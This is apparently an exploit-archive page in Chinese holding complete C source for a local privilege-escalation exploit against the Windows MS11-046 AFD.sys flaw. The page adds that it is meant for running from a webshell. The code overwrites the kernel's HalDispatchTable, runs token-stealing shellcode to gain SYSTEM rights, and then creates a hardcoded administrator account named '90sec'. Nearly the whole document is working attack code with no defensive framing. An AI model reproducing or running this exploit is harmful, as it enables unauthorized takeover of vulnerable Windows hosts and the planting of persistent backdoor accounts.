ms11-046 webshell 下exp 自己加入的api成功后添加管理帐号



EKU-ID: 1381 CVE: OSVDB-ID:
Author: azy Published: 2011-12-05 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


*
* 触发MS11-046
* 来源:azy,[url]http://hi.baidu.com/azy0922/blog/item/053065d197cebfca572c8492.html[/url]
* 改编:KiDebug,[email]Google@pku.edu.cn[/email]
* 编译:VC6.0
* 测试环境:原版Windows XP SP3,Windows 2003 SP2,普通用户
*/

USER_INFO_1 ui;
DWORD dwError = 0;


typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section; // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
NtQueryIntervalProfile_ NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;

ULONG PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;

void _declspec(naked) ShellCode()
{
__asm
{
pushad
pushfd
mov esi,PsReferencePrimaryToken
FindTokenOffset:
lodsb
cmp al, 8Dh;
jnz FindTokenOffset
mov edi,[esi+1]
mov esi,PsInitialSystemProcess
mov esi,[esi]
push fs:[124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret
}
}
void adduser(){
ui.usri1_name = L"90sec";
ui.usri1_password = L"90sec";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError)==NERR_Success)
{
printf("[*] User has been successfully added\n");
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,ui.usri1_name);
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
if (NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)==NERR_Success)
{
printf("[*] Add to Administrators success\n");
return ;
}

}

}

void main( )
{
HMODULE ntdll = GetModuleHandle( "ntdll.dll" );
NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
NtQuerySystemInformation = ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );
if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )
return;

//取ntoskrnl的信息,只要调用一次就行
ULONG status, NtoskrnlBase;
RTL_PROCESS_MODULES module;
status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
if ( status != 0xC0000004 ) //STATUS_INFO_LENGTH_MISMATCH
return;

NtoskrnlBase = (ULONG)module.Modules[0].ImageBase;

//把ntoskrnl.exe加载进来
HMODULE ntoskrnl;
ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
if ( ntoskrnl == NULL )
return;

//计算实际地址
WriteToHalDispatchTable = (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址
PsInitialSystemProcess = (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
PsGetThreadProcess = (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

//以下代码就各显神通了
if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )
return;

memset((PVOID)0x02070000,0x90,0x20000);
memcpy((PVOID)0x02080000,ShellCode,100);


WSADATA ws;

SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG dwReturnSize;

WSAStartup(0x0202,&ws);

peer.sin_family = AF_INET;
peer.sin_port = htons(0);
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );

tcp_socket = socket(AF_INET, SOCK_STREAM, 0);

if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
printf("[>] ms11-046 Exploit\n");
printf("[>] by:Mer4en7y@90sec.org\n");
}


DWORD buf[0x30];
buf[3]=1;
buf[4]=0x20;

if(!DeviceIoControl((HANDLE)tcp_socket,0x12007, (PVOID)buf, 0x60, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL))
{
printf("[*] Token system command\n");
printf("[*] command add user 90sec 90sec\n");
}


NtQueryIntervalProfile( 2, &status );
adduser();
return;
}